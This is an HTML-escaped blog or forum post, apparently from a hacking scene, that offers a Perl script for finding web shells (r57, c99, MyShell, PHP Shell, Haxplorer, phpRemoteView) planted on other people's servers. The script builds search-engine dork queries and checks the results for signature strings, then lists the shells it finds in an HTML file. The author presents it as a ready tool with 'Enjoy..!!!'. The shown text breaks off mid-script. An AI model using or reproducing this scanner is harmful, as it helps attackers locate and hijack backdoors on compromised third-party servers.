&lt;br /&gt;
Its coded is Perl and Use Linux .. [My Recommendation for this] &lt;img alt=&quot;:)&quot; class=&quot;mceSmilieSprite mceSmilie1&quot; src=&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEXh5PJm+yKVAAAAAXRSTlMAQObYZgAAAApJREFUCNdjYAAAAAIAAeIhvDMAAAAASUVORK5CYII=&quot; title=&quot;Smile    :)&quot; /&gt;&lt;br /&gt;
The found shell will be listed on a auto generated HTML file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Enjoy.. !!!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;@nu11_()_v0!d&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;CODE:&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;#!/usr/bin/perl&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;use&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;strict&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;use&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;warnings&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;use&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;LWP&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;UserAgent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;unless&amp;nbsp;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;];&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;r57&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;inurl:r57.php&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;[&amp;nbsp;phpinfo&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;php.ini&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;cpu&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;mem&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;users&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;tmp&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;delete&amp;nbsp;]\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:r57shell&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;r57&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;safe_mode&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;c99&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;inurl:c99.php&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;Encoder&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tools&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Proc.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FTP&amp;nbsp;brute&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sec.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SQL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PHP-code&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Update&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Feedback&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Self&amp;nbsp;remove&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Logout\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;&amp;nbsp;-&amp;nbsp;phpshell\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;&amp;nbsp;-&amp;nbsp;c99shell\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;c99&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Safe-mode&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;mys&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;Auto&amp;nbsp;error&amp;nbsp;traping&amp;nbsp;enabled\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;MyShell&amp;nbsp;1.1.0&amp;nbsp;build&amp;nbsp;20010923\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;MyShell&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Echo&amp;nbsp;commands&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;phs&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;PHP&amp;nbsp;Shell&amp;nbsp;1.5\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;PHP&amp;nbsp;Shell&amp;nbsp;1.6\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;PHP&amp;nbsp;Shell&amp;nbsp;1.7\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;Enable&amp;nbsp;stderr-trapping?\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;PHP&amp;nbsp;Shell&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Choose&amp;nbsp;new&amp;nbsp;working&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;phm&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;PHPShell&amp;nbsp;by&amp;nbsp;Macker\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;[&amp;nbsp;Main&amp;nbsp;Menu&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;PHPKonsole&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;Haxplorer&amp;nbsp;]\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Haxplorer&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;PHPKonsole&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;rem&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;intitle:\&quot;phpRemoteView:&amp;nbsp;\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;REMVIEW&amp;nbsp;TOOLS\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;phpRemoteView&quot;&lt;/span&gt;&lt;span 